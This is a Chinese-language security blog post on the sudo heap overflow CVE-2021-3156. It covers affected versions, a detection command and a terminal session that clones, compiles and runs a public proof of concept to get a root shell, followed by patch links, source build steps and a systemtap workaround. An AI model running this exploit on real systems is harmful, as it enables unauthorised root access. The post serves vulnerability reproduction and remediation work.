【CVE-2021-3156】linux sudo提權漏洞復現及修復


1.背景

sudo被披露存在一個基於堆的緩沖區溢出漏洞(CVE-2021-3156,該漏洞被命名為“Baron Samedit”),可導致本地權限提升。

當在類Unix的操作系統上執行命令時,非root用戶可以使用sudo命令來以root用戶身份執行命令。由於sudo錯誤地在參數中轉義了反斜杠導致堆緩沖區溢出,從而允許任何本地用戶(無論是否在sudoers文件中)獲得root權限,無需進行身份驗證,且攻擊者不需要知道用戶密碼。

安全研究人員於1月26日公開披露了此漏洞,並表示該漏洞已經隱藏了近十年。

2.檢測

影響版本

  • Sudo 1.8.2 - 1.8.31p2
  • Sudo 1.9.0 - 1.9.5p1

查看版本

 

 測試漏洞是否存在:

在普通用戶權限上,輸入:sudoedit -s /

  • 如果顯示sudoedit: /: not a regular file,則表示該漏洞存在
  • 若返回以“ usage:”開頭的錯誤,則不受影響

 表示此系統存在該漏洞。

3.利用

以Ubuntu為例:poc下載;

test@kali:~$ git clone https://github.com/blasty/CVE-2021-3156.git
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.
test@kali:~$ cd CVE-2021-3156/
test@kali:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c  Makefile  README.md
test@kali:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test@kali:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c  libnss_X  Makefile  README.md  sudo-hax-me-a-sandwich
test@kali:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
# whoami
root
# 
View Code

4.漏洞修復

永久修復(推薦):

官網:https://www.sudo.ws/download.html

1.3 下載各系統安裝包

centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm
centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm
centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb
ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb
ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb
View 各系統下載鏈接
#以centos7為例
rpm -Uvh sudo-1.9.5-3.el7.x86_64.rpm

或者用源碼進行編譯安裝:

https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz,下載最新版本sudo軟件tar包,並解壓。

tar zxvf sudo-1.9.5p2.tar.gz

進入解壓目錄,執行編譯命令

./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
 

 

 

 

臨時措施(RedHat):

1.安裝所需的systemtap軟件包和依賴項:

systemtap yum-utils kernel-devel-“ $(uname -r)”

RHEL 7安裝kernel debuginfo:debuginfo-install -y kernel-“ $(uname -r)”

RHEL 8安裝sudo debuginfo:debuginfo-install sudo

2.創建以下systemtap腳本:(將文件命名為sudoedit-block.stap)

probe process("/usr/bin/sudo").function("main") {

        command = cmdline_args(0,0,"");

        if (strpos(command, "edit") >= 0) {

                raise(9);

        }

} 

3.使用以下命令安裝腳本:(使用root)

#nohup stap -g sudoedit-block.stap&

這將輸出systemtap腳本的PID編號,該腳本將導致易受攻擊的sudoedit二進制文件停止工作,sudo命令仍將照常工作。

注意,上述更改會在重啟后失效,必須在每次重啟后重新應用。

4.一旦安裝了補丁程序,就可以通過終止systemtap進程來刪除systemtap腳本。例如,通過使用以下命令,其中7590是systemtap進程的PID。

#kill -s SIGTERM 7590

 

 

 -----------------------

漏洞利用技術細節:

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

關於sudoers:http://www.mamicode.com/info-detail-2376629.html

cve-2021-3156-sudo堆溢出簡單分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM